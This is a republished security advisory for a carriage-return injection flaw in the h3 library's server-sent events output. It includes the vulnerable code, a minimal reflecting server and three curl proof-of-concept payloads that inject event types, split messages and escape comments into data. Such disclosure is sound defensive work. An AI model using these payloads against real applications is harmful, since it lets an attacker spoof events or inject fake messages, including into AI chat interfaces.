🛡️ GHSA-4hxc-9384-m385 — h3
Description
h3: SSE Event Injection via Unsanitized Carriage Return (\r) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Summary
The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.
Details
The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:
1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)
```typescript
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) { // Only splits on \n, not \r
result += data: ${line}\n;
}
```
String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:
```
data: legit\revent: evil\n
```
Per the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), \r alone is a valid line terminator. The browser parses this as two separate lines:
```
data: legit
event: evil
```
2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)
```typescript
export function formatEventStreamComment(comment: string): string {
return (
comment
.split("\n") // Only splits on \n, not \r
.map((l) => : ${l}\n)
.join("") + "\n"
);
}
```
The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:
```
: x\rdata: injected\n\n
```
Which the browser parses as a comment line followed by actual data:
```
: x
data: injected
```
Why _sanitizeSingleLine doesn't help
The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:
```typescript
function _sanitizeSingleLine(value: string): string {
return value.replace(/[\n\r]/g, "");
}
```
But it is only applied to id and event fields (lines 182, 185), not to data or comment.
PoC
Setup
Create a minimal h3 application that reflects user input into an SSE stream:
```javascript
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => {
const stream = createEventStream(event);
const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps)
await stream.push(String(msg));
setTimeout(() => stream.close(), 1000);
return stream.send();
}));
export default app;
```
Attack 1: Event type injection via \r in data
```bash
# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
```
Expected (safe) wire output:
```
data: legit\revent: evil\n\n
```
Browser parses as:
```
data: legit
event: evil
```
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.
Attack 2: Message boundary injection (event splitting)
```bash
# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
```
Browser parses as two separate events:
1. Event 1: data: first
2. Event 2: data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.
Attack 3: Comment escape to data injection
```bash
# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"
```
Browser parses as:
```
: x (comment, ignored)
data: injected (real data, dispatched as event)
```
Impact
- Event spoofing: Attacker can inject arbitrary
event:types, causing browsers to dispatch events to differentEventSource.addEventListener()handlers than intended. In applications that use custom event types for control flow (e.g.,error,done,system), this enables UI manipulation. - Message boundary injection: A single
push()call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface. - Comment-to-data escalation: Data can be injected through what the application considers a harmless comme
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.
Weakness class
GHSA-4hxc-9384-m385 is classified as CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or…
Affected software
GHSA-4hxc-9384-m385 is recorded against 1 package.
- h3
Timeline and source
Published on 20 March 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| h3 | — | — |
References
Similar Threats
- Unknown MAL-2026-2768
- Unknown GHSA-fp4x-ggrf-wmc6
- Unknown GHSA-q5pr-72pq-83v3
- Low CVE-2026-33490
- Unknown GHSA-72gr-qfp7-vwhw
Free Vulnerability Check
Is your site affected by GHSA-4hxc-9384-m385?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-4hxc-9384-m385 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.